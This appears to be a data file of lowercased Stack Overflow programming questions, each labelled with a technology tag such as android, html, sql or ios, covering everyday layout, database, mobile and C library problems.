placing items under each other in the center div <pre><code>&lt;div id= container  style= width:100%; &gt;    &lt;div id= text1  style= width:20%;float:left; &gt;1&lt;br&gt;1&lt;/div&gt;   &lt;div id= text3  style= width:20%;float:right; &gt;3&lt;br&gt;3&lt;/div&gt;       &lt;div style= width:60%;float:none; &gt;      &lt;textarea id= phrases  cols= 50  rows= 20 &gt;&lt;/textarea&gt;      &lt;div id= text2 &gt;2&lt;br&gt;2&lt;/div&gt;   &lt;/div&gt;    &lt;/div&gt; </code></pre>   i wish to have 3 columns. in the middle column  i wish to have a textarea and then text directly under the textarea. however  the text <code>2&lt;br&gt;2</code> is appearing in the left column. what am i doing wrong     <a href= http://jsfiddle.net/z7uxw/22/show/  rel= nofollow >http://jsfiddle.net/z7uxw/22/show/</a>,html
search contacts provider for phone numbers in multiple formats   i ve been working on a block of code to let the user search (character by character using an autocompletetextview) contacts by name  email or phone number. i ve worked out the below code:   <pre><code>// general contact data  so we have to get the data1 attribute and use mimetype                     // to figure out what it is. usually we d query  say  contactscontract.commondatakinds.email.content_uri                     uri uri = contactscontract.data.content_uri;                     // limit the query results to only the columns we need for faster operations.                     // using a projection also seems to make the query distinct                     string[] projection    = new string[] {contactscontract.contacts.display_name                              contactscontract.data.data1                              contactscontract.data.mimetype};                     // find contact records with an email address or phone number                     // search the name and data1 field (which may contain an email or phone number)                     // for user-entered search phrase                     string filter =  (  + contactscontract.data.mimetype +  =  or   + contactscontract.data.mimetype +  = )                              +   and (  + contactscontract.data.data1 +   like   or   + contactscontract.data.display_name +   like  ) ;                     string wildcardedconstraint =  %  + constraintstring +  % ;                     string[] filterparams = new string[]{contactscontract.commondatakinds.email.content_item_type  contactscontract.commondatakinds.phone.content_item_type  wildcardedconstraint  wildcardedconstraint};                     // sort contacts with the most recently contacted ones first. that s often 0 (unset)                     // so do a sub-sort by last updated date  most recent contacts first                     string orderby = contactscontract.contacts.last_time_contacted +   desc    + contactscontract.contacts.contact_last_updated_timestamp +   desc ;                     cursor cursor = getcontext().getcontentresolver().query(uri  projection  filter  filterparams  orderby);                     if (cursor != null) {                         while (cursor.movetonext()) {                             string name = cursor.getstring(cursor.getcolumnindex(contactscontract.data.display_name));                             string data1 = cursor.getstring(cursor.getcolumnindex(contactscontract.data.data1));                             string mimetype = cursor.getstring(cursor.getcolumnindex(contactscontract.data.mimetype));                             string number = null;                             string email = null;                             if (mimetype.equals(contactscontract.commondatakinds.email.content_item_type)) {                                 email = data1;                             } else if (mimetype.equals(contactscontract.commondatakinds.phone.content_item_type)) {                                 number = data1;                             }                              items.add(new person(name  number  email));                              log.e( temp   name +     + data1 +     + mimetype);                         }                          cursor.close();                     } </code></pre>   there is a problem with the phone number search  however. in contacts  phone numbers are in many different formats:   <ul> <li>+101234567890</li> <li>(123) 456-7890</li> <li>1234567890</li> <li>123-456-7890</li> </ul>   and so on.    how can i adapt my contacts query filter so the user s input will find phone numbers in any format--preferably without making the entire query extremely slow     some solutions i ve found rely on editing table data to standardize the phone numbers  which isn t an option with contacts. maybe that normalized number field would work... if i could find a way to easily build it into this query on the contacts data table. i know i could do extra phone number searches for each record  or use java to make the checks  but i think that would make it very slow. perhaps a regexp sql operator in the query--but i don t know how i could make it work for the user s character-by-character search where they may have only entered part of the phone number.    any ideas,android
picturebox image appears differently on different computers  what i see:    <img src= https://www.cadsharp.com/docs/so_correct.png  alt=  >    what the customer sees:    <img src= https://www.cadsharp.com/docs/so_incorrect.png  alt=  >    the images themselves are different sizes due to different resolutions at the time the screenshots were taken. the issue is that he see the logo as cutoff by the text and button.    i have tried many different resolutions on my computer and the image always looks correct. he has tried many different resolutions on his computer and the image is always cutoff.    designer code:   <pre><code>me.picturebox1.image = ctype(resources.getobject( picturebox1.image )  system.drawing.image) me.picturebox1.location = new system.drawing.point(12  12) me.picturebox1.name =  picturebox1  me.picturebox1.size = new system.drawing.size(96  56) me.picturebox1.sizemode = system.windows.forms.pictureboxsizemode.autosize me.picturebox1.tabindex = 0 me.picturebox1.tabstop = false </code></pre>,.net
confusion between getlocationinwindow and getlocationonscreen  what i have understood is that <code>getlocationonscreen</code> returns location with added height of status bar (or actionbar or title bar too  ) in y axis from very top-left of screen corner.    and <code>getlocationinwindow</code> returns location from top-left of root content view of activity.    now  everything seems to make sense. but when im trying to get location using <code>getlocationonscreen</code> and <code>getlocationinwindow</code>  they both return same location of a button with added height of status bar. for <code>getlocationonscreen</code> it seems correct but for <code>getlocationinwindow</code> it seems wrong.    is there something i m missing   or its just buggy   i tested this in api-4 and api-14.,android
= and == which gets evaluated first   after i run the following code  the output prints: <code>false</code>. so i am assuming <code>i1==i2</code> was evaluated before <code>b1 = i1</code>. but isn t the order is from left to right    <pre><code>public static void main(string[] args) {     boolean b1;     int i1 = 2;     int i2 = 3;      if(b1 = i1==i2) {         system.out.println( true );     } else {         system.out.println( false );     } } </code></pre>,java
c-select() identify first fd that unblocked select for read/recv operation  given list of client fds (eg: 98 99 100) and data is received on fd 99  100 at the same time  select unblocks and read fds contains fd:99 and fd: 100    how to determine  which is the first fd on which data has come first      if i check serially through the list of client fd s that i have in my array it will always try to do socket read on fd: 99. but my application must read the data from fd : 100 as data is received on that fd first.   <pre><code>fd_zero(&amp;readfds); fd_set(98  &amp;readfds); fd_set(99  &amp;readfds); fd_set(100  &amp;readfds); gmaxfd=100; rc = select(gmaxfd+1  &amp;readfds  null  null  null); if(rc&gt;0){     /* handle the fds for read operation */     /* here how to identify which is the first fd on which recv has to be called first    */ } </code></pre>,c
confusion about void and what it means.  i am very new to programming and am confused about what void does  i know that when you put void in front of a function it means that  it returns nothing  but if the function returns nothing then what is the point of writing the function   anyway  i got this question on my homework and am trying to answer it but need some help with the general concept along with it. any help would be great  and please try to avoid technical lingo  i m a serious newb here.    what does this function accomplish     <pre><code>void add2numbers(double a  double b)      {         double sum;         sum = a + b;      } </code></pre>,c++
fancybox lib file (jquery.fancybox.css) shows as render blocking script in google page insights test. solution   fancybox lib file (jquery.fancybox.css) shows as render blocking script in google page insights test. solution        i already trying lot but no success any help will be appreciated,html
macos/.net - how to create a netv4 applications  i m trying to open a .xlsx with microsoft.office.interop.excel  but when i create a project  visual studio don t let me pick the net version to use. it uses v2  and microsoft.office.interop.excel uses v4.6.1    i have downloaded net core and installed  but nothing changes.   <pre><code>using system; using system.collections.generic; using system.linq; using system.threading.tasks; using microsoft.aspnetcore.mvc; using system.data; using excel = microsoft.office.interop.excel;  namespace prueba.controllers{     [route( /api/[controller] )]     public class otrocontroller : controller{         [httpget]         public void ss(){             var excelapp = new excel.application();             excelapp.workbooks.open( /applications/protected.xls  readonly: true  password:  1234 );          }     } } </code></pre>   outputs:    <pre><code>an unhandled exception occurred while processing the request. typeloadexception: could not load type  microsoft.office.interop.excel._application  from assembly  microsoft.office.interop.excel  version=15.0.0.0  culture=neutral  publickeytoken=71e9bce111e9429c . </code></pre>   nuget outputs:   <pre><code>package  microsoft.office.interop.excel 15.0.4795.1000  was restored using  .netframework version=v4.6.1  instead of the project target framework  .netcoreapp version=v2.0 . this package may not be fully compatible with your project. </code></pre>,.net
how can i use a list to create a table in html   i am writing a django app with bootstrap and i have a table with a head in one of my pages like the one below:   <pre><code>&lt;table class= table table-striped table-sm table-bordered table-fixed table &gt;     &lt;thead class= thead-inverse table_head &gt;         &lt;tr class= table_head_row &gt;             &lt;th class= table_head_item &gt;header 1&lt;/th&gt;             &lt;th class= table_head_item &gt;header 2&lt;/th&gt;             &lt;th class= table_head_item &gt;header 3&lt;/th&gt;             &lt;th class= table_head_item &gt;header 4&lt;/th&gt;             &lt;th class= table_head_item &gt;header 5&lt;/th&gt;             &lt;th class= table_head_item &gt;header 6&lt;/th&gt;             &lt;th class= table_head_item &gt;header 7&lt;/th&gt;             &lt;th class= table_head_item &gt;header 8&lt;/th&gt;             &lt;th class= table_head_item &gt;header 9&lt;/th&gt;             &lt;th class= table_head_item &gt;header 10&lt;/th&gt;         &lt;/tr&gt;     &lt;/thead&gt; &lt;/table&gt; </code></pre>   in the above example each header has its own line of code  10 headers  10 lines. there is a lot of repetition. i am looking for a way using html and not django  to not type almost the same line of code every time.    using django i could pass the list with the headers from the page s view  like so:   <pre><code>&lt;table class= table table-striped table-sm table-bordered table-fixed table &gt;     &lt;thead class= thead-inverse table_head &gt;         &lt;tr class= table_head_row &gt;         {% for header in table_headers %}             &lt;th class= table_head_item &gt;header&lt;/th&gt;         {% endfor %}         &lt;/tr&gt;     &lt;/thead&gt; &lt;/table&gt; </code></pre>   below is a mock up in html of what it could be like:   <pre><code>table_headers = [ header_1    header_2   ....] &lt;table class= table table-striped table-sm table-bordered table-fixed table &gt;     &lt;thead class= thead-inverse table_head &gt;         &lt;tr class= table_head_row &gt;         for header in table_headers             &lt;th class= table_head_item &gt;header&lt;/th&gt;         &lt;/tr&gt;     &lt;/thead&gt; &lt;/table&gt; </code></pre>   can i do something like this just in html and in django,html
how to resolve issue command /applications/xcode.app/contents/developer/usr/bin/ibtool failed with exit code 255  tried clean  re build and changed device version  restarted system but nothing worked. issue raised after resolving conflicts in main storyboard.,ios
stop propagation on different element  i am trying to determine how to temporarily disable click events (or propagation ) from a different element.  so when you click on mousedown on  an event on a specific element  another elements click event is no longer fired.   <pre><code>simplified example: &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js &gt;&lt;/script&gt;  &lt;div id= world &gt;world&lt;/div&gt; &lt;div id= hello &gt;hello&lt;/div&gt;      &lt;script&gt;     $(document).mousedown(function (e){         if( $( .there ).length ){             $( .there ).remove();             console.log( removed there );             //here is where i would need the  #world  click event to not fire         }     });      $(document).on( click   #world  function(){         console.log( world );     });     $(document).on( click   #hello  function(){         console.log( hello );         $(this).append( &lt;div class= there &gt;there&lt;/div&gt; );         console.log( added there );     });     &lt;/script&gt; </code></pre>,jquery
how do i use regtlib.exe to unregister a type library  how do i use <code>regtlib.exe</code> to unregister a type library     is this even possible  when i type <code>regtlib / </code> it displays no information at all.,.net
import multiple xml with t-sql (2005)  i do have the select for one file in the folder    can anyone help me on how to select all the files in the folder for the import    <pre><code>select machine = xmlcontent.value( (/recordeddata/machine)[1]    varchar(50) )          recordingdate = xmlcontent.value( (/recordeddata/date)[1]    varchar(50) )          recordingtime = xmlcontent.value( (/recordeddata/hour)[1]    varchar(50) )          variablename = xvar.value( (name)[1]    varchar(50) )          variablevalue = xvar.value( (value)[1]    varchar(50) ) from (  select cast(xmlcontent as xml) from openrowset(      bulk  c:\tmp\20130918_0932_zsk40-2.xml         single_blob) as t(xmlcontent)      ) as t(xmlcontent) cross apply      xmlcontent.nodes( /recordeddata/collecteddata/variable ) as xtbl(xvar) </code></pre>   it should be a trick on the filepath i think. apreciate the help!,sql
angularjs controller with variable (possibly services)  i m building a stupid-simple html-ad generator to try and teach myself angular. i know there is a better way to do this... (service/factory ) but i ve racked my brain for a few hours and can t wrap my head around it.    i want an input for a url and a dropdown-list for pre-existing ads. the result should be output to a textarea with the updated url. instead  the <code>{{data.url}}</code> view helper thingamajig isn t replaced. is this a $scope issue  do i need to somehow pass a param for the url  is this a better job for a service--i tried to convert to service  but nothing  clicked  in terms of my understanding.    html:   <pre><code>  &lt;div ng-controller= adsctrl &gt;    &lt;label for= url &gt;url:&lt;/label&gt;   &lt;input type= text  ng-model= data.url &gt;      &lt;select ng-model= selected_ad  ng-options= ad.title for ad in ads &gt;       &lt;option value=  &gt;choose an ad:&lt;/option&gt;     &lt;/select&gt;      &lt;div&gt;       &lt;textarea ng-model= selected_ad.ad &gt;&lt;/textarea&gt;     &lt;/div&gt; </code></pre>   controller:   <pre><code>var app = angular.module( myapp   []);  app.controller( adsctrl   function($scope  $http) {   $http.get( ads.json )     .then(function(res){       $scope.ads = res.data;     }); }); </code></pre>   ad example (json):   <pre><code>  {      title :  business development        ad :  go crazy making money...&lt;br&gt;&lt;br&gt;aren&amp;apos;t you tired of being broke...&lt;br&gt;&lt;br&gt;learn all you can about making money from us...&lt;br&gt;&lt;br&gt;this won&amp;apos;t take much time at all...&lt;br&gt;&lt;br&gt;to learn more &lt;a href=\ {{data.url}}\ &gt;click here&lt;/a&gt;    } ] </code></pre>   thanks in advance for any help.    <strong>edit:</strong> to clarify  i m trying to pass a variable (a user-provided url) into a json string. what is the best way to do this,angularjs
how to display double quotes( ) symbol in a textview   i m trying to display some words in double quotes  in text view in in xml file. but its not working. pls help me.       <pre><code>    &lt;textview      style= @style/textstyle       android:text= message  quote string 1  and  quote string 2  end message       android:id= @+id/lblaboutpara3       android:autolink= web /&gt;     </code></pre>   any one knows solution for this.............,android
is there something analogous to a split() method in mysql   i m looking to write a stored procedure that takes as a parameter a string that s delimited by a token and then to run a while loop in the procedure for every item in that string.    i m not seeing anything in the mysql documentation that would accomplish this task... is there a way to do this,mysql
reading contents of dataoutputstream  can anyone tell me if there is a way to read/output the contents of a <code>dataoutputstream </code> i am obtaining one using   <pre><code>new dataoutputstream( httpurlconnection.getoutputstream() ); </code></pre>   and am writing some post data to it. i would like to be able to see what data i am posting after writing to this output stream but cannot find a simple way.    thanks for any help!,android
create a link based on table date on another website  i am trying to think about how i would go about creating a link to something based on a data in another table on another website.    i have the following table on the other website:    <a href= https://i.imgur.com/hlemt1y.jpg  rel= nofollow noreferrer >https://i.imgur.com/hlemt1y.jpg</a>    so basically columns: order #  status  customer p-o    what i am trying to do is create a url based on  customer po  that links to the order #. so it would find the customer po  then check the value on the same row of order #  and then once i have that value i can create the url using that order #.    i ve never done anything that takes a value from another website so i guess that is what i am after,php
ios  how to copy a object without changing its pointer   in objective-c  nscopying protocol provide us <code>copy</code> and <code>mutablecopy</code>. they all implement the <code>copywithzone:</code> selector. now  my requirement is:    for a : address is <code>0x00002bfa</code>    <pre><code>a.name = @ john ; a.age = 10; </code></pre>   for b : address is <code>0x0000843d</code>    <pre><code>b.name = @ lily ; b.age = 20; </code></pre>   after <code>a = [b customcopy];</code>    now a is:    for a : address is <code>0x00002bfa</code>    <pre><code>a.name = @ lily ; a.age = 20; </code></pre>   only change the value of properties of a  the address still no change. cause it is custom nsobject. i think nscopying could not work. cause <code>copy</code> and <code>mutablecopy</code> will change the pointer of a  let it point to b. it is not my will.    is it clear  any idea! i am confused by the problem a long time. thank you!,ios
get base directory of current script  this is the url of my script: <code>localhost/do/index.php</code>    i want a variable or a function that returns <code>localhost/do</code> (something like <code>$_server[ server_name ]. /do </code>),php
what happens to my itunes url if i change my app s name   on the whole internet i didn t find any kind of answer for this question.    what happens to my itunes url if i change my app s name   i mean my app url contains my apps name so if i change the name then chracters in url also changes and my old app url dies out but maybe changing name with a patch has no effect on app url. i dont know which one will happen.    i am asking because i am going to add my app s advertisement into another app and that apps name is going to be different so if i make a mistake my advertisement will be worthless.    here is an example(i put xxxx instead of my app name and 11111111 instead of my i.)    <a href= https://itunes.apple.com/au/app/xxxxxxxx/id1111111111 mt=8&amp;ign-mpt=uo%3d2  rel= nofollow >https://itunes.apple.com/au/app/xxxxxxxx/id1111111111 mt=8&amp;ign-mpt=uo%3d2</a>    this is my app s url its name is i am going to use these url for ads.    so if i change my name to yyyyyyyyyy does the url stay same or adress changes      will it turn the url below or stay same      <a href= https://itunes.apple.com/au/app/yyyyyyyyy/id1111111111 mt=8&amp;ign-mpt=uo%3d2  rel= nofollow >https://itunes.apple.com/au/app/yyyyyyyyy/id1111111111 mt=8&amp;ign-mpt=uo%3d2</a>,ios
sql view select data from two fields and combine into one  i have one table that has two fields - id1 and id2<br> id1 can be blank  id2 is always populated.     i d like to create a view that contains one field. this field would be the data from id2 unless id1 has a value in which case i need it to be id1.    coalesce doesn t work for me as id1 isn t null.    all advice greatly received!,sql
pre tag not working as it should  for php debugging i made myself a pre() function like this:   <pre><code>function pre($data) {     echo  &lt;pre&gt; .print_r($data). &lt;/pre&gt; ; } </code></pre>   but it s not displaying line breaks as it should. by example  i get all this on one line:     <code>template_model object ( [id] =&gt; 1 [type] =&gt; 1 [shortname] =&gt; default [is_custom] =&gt; 0 [is_open] =&gt; 1 [options] =&gt; array ( [id] =&gt; 1 [name] =&gt; background_color [value] =&gt; #6699cc [type] =&gt; 0 [campaign_id] =&gt; 8 [user_id] =&gt; 11 [template_id] =&gt; 1 ) )</code>    some parts should have linebreaks. what am i doing wrong     this may sound newb  but i can t understand what i do wrong when i ve been using this for years.    please not that i call my pre function before there is any other html displayed on the page.    thanks!,html
nsstring assignment  release required   if i have a property in my class like so:\   <pre><code>@interface test  nsstring *str;  @end </code></pre>   and in my init in the .m:   <pre><code>str = @ test ; </code></pre>   do i need to manually release that in the classes dealloc     what about this kind    <pre><code>nsstring *mystr = [nsstring stringwithformat:@ %@   somestring]; </code></pre>   do i need to release that too,objective-c
java quiz only accessing constructor  i m attempting to create a 10 multiple choice question quiz using arrays. i m extremely new so bear with me. i m currently able to get a window to populate  with the title  and the buttons i have set. the buttons don t do anything  and the questions with choices are not populating. it seems as when i call the class to the main method it s only calling the constructor. i m not really sure where i m going wrong. i have an array for my questions with the choices  and array that has the question and the correct answer. please help. i been working on this for 4 days.    1st file sets data:   <pre><code>import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.event.*; import java.util.*;  class test2 extends jframe implements actionlistener  {    jpanel panel;    jpanel panelresult;    jradiobutton choice1;    jradiobutton choice2;    jradiobutton choice3;    jradiobutton choice4;    buttongroup bg;    jlabel question;    jbutton next;    string[][] questions;    string[][] choices;    int qaid;    hashmap&lt;integer string&gt;map;     public test2()    {        settitle( tennis quiz );       setdefaultcloseoperation(exit_on_close);       setsize(430 350);       setlocation(300 100);       setresizable(false);       container cont = getcontentpane();       cont.setlayout(null);       cont.setbackground(color.gray);       bg = new buttongroup();       choice1 = new jradiobutton( a );       choice2 = new jradiobutton( b );       choice3 = new jradiobutton( c );       choice4 = new jradiobutton( d );       bg.add(choice1);       bg.add(choice2);       bg.add(choice3);       bg.add(choice4);       question = new jlabel( choose a correct answer );       question.setforeground(color.blue);       question.setfont(new font( aria   font.bold  11));       next = new jbutton( next );       next.setforeground(color.green);        panel = new jpanel();       panel.setbackground(color.light_gray);       panel.setlocation(10 10);       panel.setsize(400 300);       panel.setlayout(new gridlayout(6 2));       panel.add(question);       panel.add(choice1);       panel.add(choice2);       panel.add(choice3);       panel.add(choice4);       panel.add(next);       cont.add(panel);       setvisible(true);       qaid = 0;       setdata();        string readqaid = readqaid(qaid);                      }     public void actionperformed(actionevent e)    {        switch (next.gettext()) {            case  next :                if(qaid&lt;9)                {                    map.put(qaid getselection());                    qaid++;                    readqaid(qaid);                }                else                {                    map.put(qaid getselection());                    next.settext( show answers );                }      break;            case  show answers :                 break;        }    }     public string setdata()    {       questions = new string[10][5];        questions[0][0] =  who is world s number one on the atp tennis tour  ;       questions[0][1] =  del potro ;       questions[0][2] =  nadal ;       questions[0][3] =  djockovic ;       questions[0][4] =  federer ;        questions[1][0] =  who is world s number one on the wta tennis tour  ;       questions[1][1] =  venus williams ;       questions[1][2] =  serenca williams ;       questions[1][3] =  simona halep ;       questions[1][4] =  svetlana kuznetsova ;        questions[2][0] =  who has the fastest serve  ;       questions[2][1] =  andy roddick ;       questions[2][2] =  milos roanic ;       questions[2][3] =  leyton hewitt ;       questions[2][4] =  juan martin del potro ;        questions[3][0] =  who holds the most titles on the mens tour  ;       questions[3][1] =  roger federer ;       questions[3][2] =  raphael nadal ;       questions[3][3] =  novak djokovack ;       questions[3][4] =  andy murray ;        questions[4][0] =  who holds the most titles on the womens tour  ;       questions[4][1] =  chris evert ;       questions[4][2] =  billie jean king ;       questions[4][3] =  martina navratilova ;       questions[4][4] =  serena williams ;       questions[5][0] =  which male tennis player has won the most majors  ;      questions[5][1] =  donald young  ;      questions[5][2] =  raphal nadal  ;      questions[5][3] =  roger federer  ;      questions[5][4] =  pete sampras ;       questions[6][0] =  which male tennis player won the u.s. open in 2014 ;      questions[6][1] =  roger federer ;      questions[6][2] =  lleyton hewitt ;      questions[6][3] =  rafael nadal ;      questions[6][4] =  marian celic ;       questions[7][0] =  which female tennis player has won all 4 grand slams  ;      questions[7][1] =  venus williams ;      questions[7][2] =  svetlana kuznetsova ;      questions[7][3] =  caroline wozniacki ;      questions[7][4] =  serena williams ;        questions[8][0] =  which male tennis player won the french open in 2014 ;      questions[8][1] =  roger federer ;      questions[8][2] =  raphael nadal ;      questions[8][3] =  milos roanic ;      questions[8][4] =  gael monfils ;       questions[9][0] =  which female tennis player won the french open in 2014  ;      questions[9][1] =  venus williams ;      questions[9][2] =  serena williams ;      questions[9][3] =  caroline wozniacki ;      questions[9][4] =  maria sharapova ;       choices = new string[10][2];      choices[0][0] =  who is world s number one on the atp tennis tour  ;      choices[0][3] =  djockovic ;       choices[1][0] =  who is world s number one on the wta tennis tour  ;      choices[1][2] =  serenca williams ;       choices[2][0] =   who has the fastest serve  ;      choices[2][2] =  milos roanic ;       choices[3][0] =  who holds the most titles on the mens tour  ;      choices[3][1] =  roger federer ;       choices[4][0] =  who holds the most titles on the womens tour  ;      choices[4][3] =  martina navratilova ;       choices[5][0] =  which male tennis player has won the most majors  ;      choices[5][3] =  roger federer  ;       choices[6][0] =  which male tennis player won the u.s. open in 2014 ;      choices[6][4] =   marian celic ;       choices[7][0] =  which female tennis player has won all 4 grand slams  ;      choices[7][4] =  serena williams ;        choices[8][0]=  which male tennis player won the french open in 2014 ;      choices[8][2] =  raphael nadal ;       choices[9][0] =  which female tennis player won the french open in 2014  ;       choices[9][4] =  maria sharapova ;      map = new hashmap&lt;&gt;();     return null;          }   public string getselection()  {     string selectedchoice = null;     enumeration&lt;abstractbutton&gt; buttons=bg.getelements();     while(buttons.hasmoreelements())     {        jradiobutton temp = (jradiobutton)buttons.nextelement();        if(temp.isselected())        {           selectedchoice = temp.gettext();        }     }     return(selectedchoice);   }   private string readqaid(int qaid)  {     question.settext(   + questions[qaid][0]);     choice1.settext(choices[qaid][1]);     choice2.settext(choices[qaid][2]);     choice3.settext(choices[qaid][3]);     choice4.settext(choices[qaid][4]);     choice1.setselected(true);     return null;          }   public void reset()  {    qaid = 0;    map.clear();    readqaid(qaid);    next.settext( next );  }   public int calcorrectanswer()  {    int qnum = 10;    int count = 0;    for(int qid = 0; qid&lt;qnum;qid++)    if(choices[qid][1].equals(map.get(qid)))        count++;    return count;  }   public class report extends jframe  {     report()     {        settitle( answers );        setsize(850 550);        setbackground(color.white);        addwindowlistener(new windowadapter()                {                   public void windowclosing(windowevent e)                   {                       dispose();                       reset();                   }                   });                 draw d = new draw();                 add(d);                 setvisible(true);                }     class draw extends canvas     {        public void paint(graphics g)        {           int qnum = 10;           int x = 10;           int y = 20;           for(int i = 0; i&lt;qnum;i++)           {              g.setfont(new font( aria   font.bold  12));              g.drawstring(i+1+ .  + choices[i][0]  x  y);              y+=30;              g.setfont(new font( aria   font.plain  12));              g.drawstring( correct answer +choices[i][1]  x  y);              y+=30;              g.drawstring(  your answer  + map.get(i)  x  y);              y+=30;              if(y&gt;400)              {              y = 20;              x = 450;              }             }           int numc=calcorrectanswer();           g.setcolor(color.blue);           g.setfont(new font( aria   font.bold 14));           g.drawstring( number of correct answers.  + numc  300  500);         }     }     }  } </code></pre>   2nd file pulls first file:   <pre><code>import java.util.arrays;  public class quizprogram {    public static void main(string args[])    {        test2 test2 = new test2();    }  } </code></pre>,java
mysql - select where multiple fields must be true  i don t know where to start with this!    i have a <code>product</code> table and a <code>product_attributes</code> table.  each product can have multiple attributes.    if we work with just 2 attributes to keep things simple (id 1 = size  id 2 = colour)  the <code>product_attributes</code> table looks like this:   <pre><code>id   product_id   attribute_id   value ======================================  1    1            1              10 2    1            2              red 3    1            1              12 4    1            2              red 5    2            1              10 6    2            2              blue </code></pre>   so here we have 2 products  the first has 2 sizes (10 and 12) both in red.  the second is size 10 in blue.    i want to find all products where the size is equal to (10 <strong>or</strong> 12) <strong>and</strong> the colour is red.   <pre><code>select * from product p inner join product_attribute a on a.product_id = p.id where (a.value =  10  or a.value =  12 ) and (a.value =  red ) </code></pre>   the above obviously isn t going to work but gives an idea of what i m after.  i m pretty sure i need a count in here somewhere (where number of hits = 2) but i have no idea where to start.    any help appreciated.,mysql
how to throw error and exit in python  i ve seen people suggesting sys.exit() in python. my question is that  is there any other way to exit the execution of current script  i mean termination  with an error.    something like this:   <pre><code>sys.exit( you can not have three process at the same time. ); </code></pre>   currently my solution would be:   <pre><code>print( you can not have three process at the same time. ); sys.exit(); </code></pre>,python
how can i make the input in a div floated to the right expand to the remaining space of the outer div   see: <a href= http://jsfiddle.net/h86z3/  rel= nofollow >http://jsfiddle.net/h86z3/</a>    how can i make the right input and/or its wrapping div expand to the remaining space of the outer div with id  outer   i need to preserve the nested div structure though    i tried:   <pre><code>#right  #right input { width: auto } </code></pre>   and:    <pre><code>#right  #right input { width: 100%} </code></pre>   <strong>edit</strong> sorry i should have specified that i indeed don t want to give it a specified width! i want it do adapt to width changes of the outer div    <strong>edit2</strong> no  the question above does not answer mine. the changes recommended there applied to my structure do not work  as i said in the original question. my question is about nested divs containing inputs with an outer div of fixed width.,css
how to define a abstract in routeprovider   i want to define a abstract in route provider as we can define it in a state provider to for parent.   <pre><code>.when( /home   {   title:  home     templateurl :  templates/home.html     controller  :  homecontroller    })    .when( /about   {   title:  about     templateurl :  templates/about.html     controller  :  aboutcontroller   }) </code></pre>   i want to define a (/home) as abstract or is the any way to use a homecontroller as a global for entire application.    my controller is :   <pre><code>.controller( homectrl   function($scope  $http  oliveservice  $location  $routeparams) {      console.log( home ctrl );      $scope.about_info = function(){     console.log( this is about info ); } })  .controller( aboutctrl   function($scope  $http  oliveservice  $location  $routeparams) {      console.log( about ctrl );      $scope.about_info = function(); }) </code></pre>,angularjs
symbol lookup error: ./libobjdata.so: undefined symbol: bfd_map_over_sections  when i compiled the getsections_dl.c file  it always output this error  does that mean i have not linked the library     my compile command is:   <pre><code>gcc getsections_dl.c -l. -ldl -lbfd -o getsections_dl </code></pre>   my getsections_dl.c:   <pre><code>#include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;bfd.h&gt; #include &lt;unistd.h&gt; #include &lt;dlfcn.h&gt;  extern void dump_sections(bfd *abfd); #define rdtsc(x)    __asm__ __volatile__( rdtsc \n\t  :  =a  (*(x)))    // the following function is a tweaked version of the itoa functions // that can be found in either objsym.c or objsect.c char* lltoa(long long int val  int base) {   if (val == 0x0) {    static char zero[] =  0 ;    return &amp;zero[0];   }   static char buf[64] = {0};   int i = 60;   for(; val &amp;&amp; i ; --i  val /= base)     buf[i] =  0123456789abcdef [val % base];   return &amp;buf[i+1]; }   int main(int argc  char *argv[]) {   bfd *obj;   void *handle;   unsigned long long start  finish;     void (*func)(bfd *);    bfd_init();    obj = bfd_openr(argv[1]   elf32-i386 );   if (!obj) {     bfd_perror( open failure\n );     return 0;   }    rdtsc(&amp;start);    if (!strcmp(argv[2]   rtld_lazy ))     handle = dlopen( ./libobjdata.so   rtld_lazy);   else     handle = dlopen( ./libobjdata.so   rtld_now);    rdtsc(&amp;finish);    bfd_check_format(obj  bfd_object);     //compute the cycles   write(1   time:    strlen( time:  ));   int t = (finish-start)/2793;   write(1  lltoa(t  10)  strlen(lltoa(t  10)));   write(1    cycles/mhz\n\n   strlen(  cycles/mhz\n\n ));      func = dlsym(handle   dump_sections );   // bfd_map_over_sections(obj  func2  null);   dump_sections(obj);   dlclose(handle);    return 0; } </code></pre>   and my library c file objsect.c (which is do the something like objdump() dose):   <pre><code>#include &lt;bfd.h&gt; #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt;  void dump_section(bfd *abfd  asection *section  void *obj) {     // number of octets per target byte     //unsigned int opb = bfd_octets_per_byte(abfd);    char* itoa(int val  int base) {   if (val == 0x0) {    static char zero[] =  0 ;    return &amp;zero[0];   }   static char buf[32] = {0};   int i = 30;   for(; val &amp;&amp; i ; --i  val /= base)     buf[i] =  0123456789abcdef [val % base];   return &amp;buf[i+1]; }    //write(1   section:   strlen( section: )); write(1  section-&gt;name  strlen(section-&gt;name)); write(1    \t   strlen(  \t )); write(1  itoa(section-&gt;vma  16)  strlen(itoa(section-&gt;vma  16))); write(1    \t   strlen(  \t )); write(1  itoa(section-&gt;rawsize  16)  strlen(itoa(section-&gt;rawsize  10))); write(1    \t   strlen(  \t )); write(1  itoa(section-&gt;size  16)  strlen(itoa(section-&gt;size  10))); write(1    \t   strlen(  \t )); write(1  itoa(section-&gt;filepos  16)  strlen(itoa(section-&gt;filepos  16))); write(1    \n   strlen(  \n )); }  void dump_sections(bfd *abfd) {      write(1   name\t   strlen( name\t ));      write(1   size\t   strlen( size\t ));      write(1   vma\tt   strlen( vma\t ));     write(1   lma\t   strlen( lma\t ));     write(1   file off\t   strlen( file off\t ));     write(1   algn\n   strlen( algn\n ));  // for each section in abfd  call dump_section_headers()     bfd_map_over_sections(abfd  dump_section  null); } </code></pre>,c
nsdateformatter datefromstring returning nil or current date  i m having some issues trying to format a string into nsdate. this is my code.   <pre><code>        nstimezone *outputtimezone = [nstimezone defaulttimezone];         nsdateformatter *dateformat = [[nsdateformatter alloc] init];          [dateformat settimezone:outputtimezone];         [dateformat setlocale:[nslocale currentlocale]] ;          [dateformat setdateformat:@ dd/mm/yyyy hh:mm:ss ];         nsdate *mydate = [dateformat datefromstring:datestring]; </code></pre>   this is the string that i m trying to format.    <strong> 09/11/2016 12:27:05 </strong>    this is the result i get     <strong>2016-11-09 04:48:29 utc</strong>    please help i have been trying various solutions and formats but to no avail.   <hr>  <blockquote>    after the call to datefromstring  add the line nslog( str = %@  date = %@   datestring  mydate);. update your question with the output of that log statement. – rmaddy 59 mins ago  </blockquote>   this is my output     <strong>str = 09/11/2016 14:13:35  date = 2016-11-09 06:13:35 +0000</strong>,ios
